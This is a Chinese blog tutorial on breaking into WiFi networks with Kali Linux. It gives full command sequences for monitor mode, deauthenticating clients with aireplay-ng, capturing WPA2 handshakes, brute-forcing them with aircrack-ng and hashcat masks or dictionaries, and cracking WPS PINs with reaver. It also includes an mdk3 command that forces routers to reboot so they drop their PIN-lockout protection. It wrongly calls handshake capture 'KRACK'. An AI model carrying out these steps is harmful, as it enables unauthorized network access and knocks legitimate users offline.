本文讲述如何利用 kali 机 aircrack-ng 相关命令,抓取 wifi 连接握手包。然后结合密码字典,破解 wifi 账号密码。
参考:https://leexuan.github.io/2020/06/Kali+Airmon+WiFi%E7%A0%B4%E8%A7%A3/
一、密码字典
1. 常见掩码字符集
1 | l | abcdefghijklmnopqrstuvwxyz 纯小写字母 |
2. 简单的例子
1 | 八位数字密码:?d?d?d?d?d?d?d?d |
3. 密码选择
- WiFi常见密码字典
- 8位数字掩码
- 11位手机号掩码(根据地区提前确定某些位)
- 8位小写字母掩码
- 8位小写字母+数字掩码
4. 纯数字
1 | hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d // 8位数字 |
二、密码破解推荐原则
1. 密码破解推荐原则
破解时采取先易后难的原则,建议如下:
(1)利用收集的公开字典进行破解
(2)使用1-8位数字进行破解
(3)使用1-8位小写字母进行破解
(4)使用1-8位大写字母进行破解
(5)使用1-8位混合大小写+数字+特殊字符进行破解
2. hashcat破解规则
(1)字典攻击-a 0 password.lst
(2)1到8为数字掩码攻击-a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d –O
?d 代表数字,可以换成小写字母 ?l,大写字母 ?u,特殊字符 ?s,大小写字母+特殊字符 ?a,–O 表示最优化破解模式,可以加该参数,也可以不加该参数。
(3)8为数字攻击-a 3 ?d?d?d?d?d?d?d?d
同理可以根据位数设置为字母大写、小写、特殊字符等模式。
(4)自定义字符
现在纯数字或者纯字母的密码是比较少见的,根据密码专家对泄漏密码的分析,90% 的个人密码是字母和数字的组合,可以是自定义字符了来进行暴力破解,Hashcat 支持4个自定义字符集,分别是 -1 -2 -3 -4。定义时只需要这样 -2 ?l?d ,然后就可以在后面指定 ?2,?2 表示小写字母和数字。这时候要破解一个 8 位混合的小写字母加数字:
Hashcat.exe -a 3 --force -2 ?l?d hassh值或者hash文件 ?2?2?2?2?2?2?2?2
例如破解dz小写字母+数字混合8位密码破解:Hashcat -m 2611 -a 3 -2 ?l?d dz.hash ?2?2?2?2?2?2?2?2
(5)字典+掩码暴力破解
Hashcat 还支持一种字典加暴力的破解方法,就是在字典前后再加上暴力的字符序列,比如在字典后面加上 3 为数字,这种密码是很常见的。使用第六种攻击模式:a-6 (Hybrid dict + mask)
如果是在字典前面加则使用第 7 中攻击模式也即 ( a-7 = Hybridmask + dict),下面对字典文件加数字 123 进行破解:
H.exe -a 6 ffe1cb31eb084cd7a8dd1228c23617c8 password.lst ?d?d?d
假如ffe1cb31eb084cd7a8dd1228c23617c8
的密码为 password123,则只要 password.lst 包含 123 即可。
(6)掩码+字典暴力破解H.exe -a 7 ffe1cb31eb084cd7a8dd1228c23617c8 password.lst ?d?d?d
假如ffe1cb31eb084cd7a8dd1228c23617c8
的密码为 123password,则只要password.lst 包含 password 即可。
(7)大小写转换攻击,对 password.lst 中的单词进行大小写转换攻击H.exe-a 2 ffe1cb31eb084cd7a8dd1228c23617c8 password.lst
三、破解方法
掌法一:aircrack-ng 抓包并破解(Linux Kali)
基本功,入门手法
1. aircrack-ng 简介
Aircrack-ng 是一个与 802.11 标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP 和 WPA/WPA2-PSK 破解。Aircrack-ng 可以工作在任何支持监听模式的无线网卡上(设备列表请参阅其官方网站)并嗅探 802.11a,802.11b,802.11g 的数据。
2. 前言
随着互联网的发展,WiFi 被发明出来,它是一个创建于 IEEE 802.11 标准的无线局域网技术。随着 WiFi 普及,如今 WiFi 几乎存在于所有的集体商户或 个人家庭,在个人家庭有时候会出现忘记密码的时候,这时候就可以用到今天演示的实验了,废话不多说了,开搞~
准备工作: 我使用的环境是虚拟机,物理机是笔记本,根据 kali 官方文档得知,虚拟机 kali 并不能使用物理机自带的无线网卡,所以我们要准备一块 USB 无线网卡,一定要买兼容kali和免驱的(来自踩坑者的建议)。如果是物理机上直接装 kali 的狼人,当我没说~
3. 破解原理
首先我们看张图:
说明: 图中椭圆为 WiFi 覆盖区域,中间有一个路由器,上面是三台正常连接 WiFi 的设备(虚线说明是无线连接),我们的攻击机是 kali,首先 kal i可以监听他们之间的连接情况,然后向路由器发起攻击,所有连接的设备会掉线,接下来设备会重新进行连接,这时候 kali 可以抓取他们连接时候的握手包,最后对握手包里加密的密文进行爆破即可~(一般 WiFi 密码不会设置太复杂,爆破几率还是很大的)
WPA2 的破解过程主要分为两步:
(1)抓取 WPA2 的四重握手 (4-Way Handshake) 认证包;(2)破解四重握手认证包。
假设被攻击的 Wi-Fi 接入点为 A,接入点中有一个合法的 Wi-Fi 客户端 B,攻击者为 C,则抓取 WPA2 四重握手信息的主要步骤为:
1)攻击者 C 使其Wi-Fi收发设备进入监视模式 (Monitor Mode),嗅探周围存在的 Wi-Fi 接入点、Wi-Fi 客户端的互相连接信息和 MAC 地址;
2)攻击者 C 将自己的 MAC 地址伪装成 Wi-Fi 接入点 A 的 MAC 信息,并向合法客户端B发出断线信息;
3)合法客户端 B 误以为自己断线,重新和接入点 A 进行四重握手认证流程;
4)攻击者 C 截取四重握手认证包。
这部分内容其实叫做 KRACK(Key Reinstallation Attacks, 密钥重载攻击),于 2017 年由比利时鲁汶大学的研究者们提出。
对这部分内容感兴趣的读者们可以在【他们的主页】找到更详细的描述。
破解四重握手认证包的主要步骤为:
1)获取一个质量较高的密码字典,最理想的情况是该字典包含被攻击的四重握手包密码,其次理想的情况是被攻击的密码大部分字符出现在字典中,剩下字符则是规则简单的序列;
2)使用 GPU 加速 hash 碰撞,进行密码破解。
对这部分内容感兴趣的读者可以在著名的 hash 碰撞工具【hashcat的主页】找到更详细的描述。这篇博文也会使用 hashcat 作为 hash 碰撞工具。
4. 实验过程
实验环境搭建: 我这里使用手机开热点作为攻击的目标(路由器),使用我的物理机笔记本连接热点(正常连接设备),开启虚拟机kali并把有线连接关闭(尽可能防止实验干扰),插入我们准备的无线网卡,这里虚拟机会提示连接到物理机还是虚拟机,选择虚拟机 kali 即可~
整个 wifi 破解过程,包括三个步骤:
(1) WIFI 信息收集
(2) WIFI 连接握手包抓取
(3) 利用密码字典暴力跑包
Step1:首先在kali中打开终端,使用“ifconfig”命令查看网卡信息
1 | ifconfig |
Step2:开启网卡的监听模式
1 | airmon-ng start wlan0 //指定网卡名字wlan0,开启监听模式 |
Step3:别的程序在占用网卡,可以使用标红处命令清理
1 | airmon-ng check kill //清理掉占用网卡的程序,使airmon-ng工具可支配网卡 |
Step4:检查是否成功开启了监听模式
1 | ifconfig //wlan0变成了wlan0mon,这就是开启侦听模式的标志 |
Step5:扫描发现一下附近的WiFi
1 | airodump-ng wlan0mon //指定监听模式下的网卡名字 |
一般信号最强的在第一行,这时候可以 ctrl+c 结束一下
Step6:只对我们的目标进行侦听抓包,不理会其他WiFi
1 | airodump-ng --bssid B4:CD:27:DF:BF:AE -c 1 --write wifi1 wlan0mon |
Step7:让这个终端放着,重新打开一个终端,对WiFi热点攻击,使所有设备断开连接
1 | aireplay-ng -0 20 -a B4:CD:27:DF:BF:AE wlan0mon //-0参数指定发送攻击数据包的个数,-a参数指定攻击设备的MAC地址,wlan0mon指定无线网卡名字 |
第一个终端上如果出现标红区域这一条数据,就说明已经抓到了设备与热点之间的握手包并存放在了此目录下,如果没有显示,可以按上一步多发送几次,再来查看
Step8:接下来我们进行爆破,首先要准备一个字典
1 | aircrack-ng -w pass.txt wifi1-01.cap //-w参数指定密码字典,wifi1-01.cap为握手包 |
这时候会惊喜的发现密码已经爆破完毕了,速度还是挺快的,使用密码即可登录
Step9:无线网卡退出监听模式
1 | airmon-ng stop wlan0mon |
掌法二:aircrack-ng 抓包 + hashcat 破解(Kail Linux)
Hashcat的使用手册总结
优势:
速度提高数倍
可以用gpu破解
首先要把 airodump 抓取的cap文件转化为hccap格式, 可以在线转换, 在线转换的地址为:https://hashcat.net/cap2hccap/, 也可以用aircrack-ng转换
1 | aircrack-ng <out.cap> -J <out.hccap> |
或者使用 hashcat 命令,第一个参数: -m 2500 为破解的模式为 WPA/PSK 方式 ,第二个参数: hccap 格式的文件是刚刚转化好的文件, 第三个参数: dics.txt为字典文件 :
1 | hashcat -m 2500 out.hccap.hccap dics.txt -o results |
破解的进度通过按键盘上的 s 键即可查看:
破解纯数字密码
1
hashcat -m 2500 -a 3 handshake.hccap ?d?d?d?d?d?d?d?d //?d?d?d?d?d?d?d?d代表8为数字
使用 crunch 生成字典
kali 系统中,通过 crunch 生成字典, 要生成 8 位纯数字的字典,使用以下命令,
1 | crunch 8 8 0123456789 -o dic.txt |
8 8 代表最小位数为8,最大位数也为8, 0123456789为字典中的数字 , -o dic.txt 说明要把字典生成到 dic.txt, 生成的纯数字字典有 900M
掌法三:aircrack-ng 抓包 + hashcat 破解(Windows)
抓包步骤同上,只是这次是借助主机 windows 来破解
实际操作时,先在每台机器上测试下性能,选择最快的机器跑包:
1 | hashcat64.exe -I //查看显卡支持情况 |
1 | hashcat.exe -m 2500 -a 0 -D 2 -O -w 3 qian.hccapx combined_dictionary.txt --show //破解成功展示密码或者用来查看密码 |
Options //选项参数
参数 | 类型 | 介绍 | 例子 |
---|---|---|---|
-m | Num | Hash类型 | -m 2500= WPA/WPA2,默认指md5 |
-a | Num | 攻击模式 | -a 0:字典攻击,-a 1: 组合攻击;-a 3:掩码攻击 |
-o | File | 为恢复Hash值定义输出文件 | -o outfile.txt //默认输出到output |
-D | Str | 选择用CPU还是GPU来破解 | -D 2 //2默认gpu,1为cpu |
攻击模式:
0 = Straight (字典破解)
1 = Combination (组合破解)
2 = Toggle-Case (大小写转换)
3 = Brute-force(掩码暴力破解)
4 = Permutation(序列破解)
5 = Table-Lookup(查表破解)
6 = Hybrid dict + mask 字典加掩码破解
7 = Hybrid mask + dict 掩码+字典破解
8 = Prince(王子破解)
常见问题
1 | * Device #1: WARNING! Kernel exec timeout is not disabled. |
1 | Windows Registry Editor Version 5.00 |
(1) 对于破解过的hash值,用hashcat64.exe hash --show
查看结果
(2) 所有的hash破解结果都在hashcat.potfile文件中
(3)如果破解的时间太长,可以按s键可以查看破解的状态,p键暂停,r键继续破解,q键退出破解
(4) 在使用GPU模式进行破解时,可以使用-O参数自动进行优化
(5)在实际破解中的建议,如果我们盲目的去破解,会占用我们大量的时间和资源
1 | 1.首先走一遍常用的弱口令字典 |
上面的是比较理想的情况,即密码就在字典中,但是很多时候密码可能是字典中的字符串加自定义字符串的形式,这个时候就要用到 hashcat 的混合模式。下面举一个混合模式的例子:
1 | hashcat.exe -a 6 -m 2500 [hccapx file] [dictionary file] ?d?d?d --self-test-disable |
其中 -a 6 表示混合模式,?d?d?d 表示末尾添加 3 个任意数字。hashcat 的字符集设定如下所示:
1 | ?l = abcdefghijklmnopqrstuvwxyz |
(6) HashCat 参数优化
考虑到 hashcat 的破解速度以及资源的分配,我们可以对一些参数进行配置
1)Workload tuning 负载调优
该参数支持的值有1,8,40,80,160
1 | --kernel-accel 160 可以让GPU发挥最大性能。 |
2) Gpu loops 负载微调
该参数支持的值的范围是8-1024(有些算法只支持到1000)。
1 | --kernel-loops 1024 可以让GPU发挥最大性能。 |
3) Segment size 字典缓存大小
该参数是设置内存缓存的大小,作用是将字典放入内存缓存以加快字典破解速度,默认为 32MB,可以根据自身内存情况进行设置,当然是越大越块了。
1 | --segment-size 512 可以提高大字典破解的速度。 |
掌法四:wifite 自动抓包输出 + hashcat 破解(Windows)
(推荐此方法)
掌法五:wifite 自动抓包输出 + hashcat 破解(Linux GPU)
linux安装GPU驱动,有点危险,弄不好就会翻车。
https://www.kali.org/docs/general-use/install-nvidia-drivers-on-kali-linux/
但是我们可以直接安装 CUDA toolkit
1 | apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit |
一键安装,绝不翻车。安装好了过后,重启一下。
nvidia-smi
hashcat -I
即可查看GPU信息
hashcat -b
进行算法测试,可以查看自己GPU的跑包的速度
掌法六:wifite 自动抓包输出 + reaver 破解(开启了WPS)
1 | reaver -i wlan0mon -b D8:15:0D:D6:13:92 -S -d9 -t9 -vv |
破解完成之后,查看并记录下 PIN 码和密码
获取到 PIN 码 后,以后即便路由器更换了密码,我们也可以很迅速地通过 PIN 码重新获得新密码。举例:
1 | reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p 12345670 |
【注意事项】(此处转载于https://blog.csdn.net/Qidi_Huang/article/details/63698574)
(1)如果在执行 reaver 命令后看到有 WARNING: Failed to associate with xx:xx:xx:xx:xx:xx 这样的提示信息,那么应该是你选择了一个不具备或关闭了 WPS 功能的路由器。这种情况下就执行wash 命令并重新选择一个路由器吧。
(2)如果在执行 reaver 命令后看到有 warning detected ap rate limiting waiting 60 seconds before re-checking 这样的提示信息,这表示目标路由器开启了防 PIN破解 功能。因为我们是穷举 PIN码 进行破解的,当连续使用超过某个次数的 PIN码 后,路由器会暂时锁定 WPS 功能一段时间。这种情况下要么我们耐心等待其恢复 WPS 功能,要么执行 mdk3 wlan0mon a -a xx:xx:xx:xx:xx:xx (这是上面的目标AP的MAC地址)命令让路由器主动重启或被动重启以恢复 WPS 功能。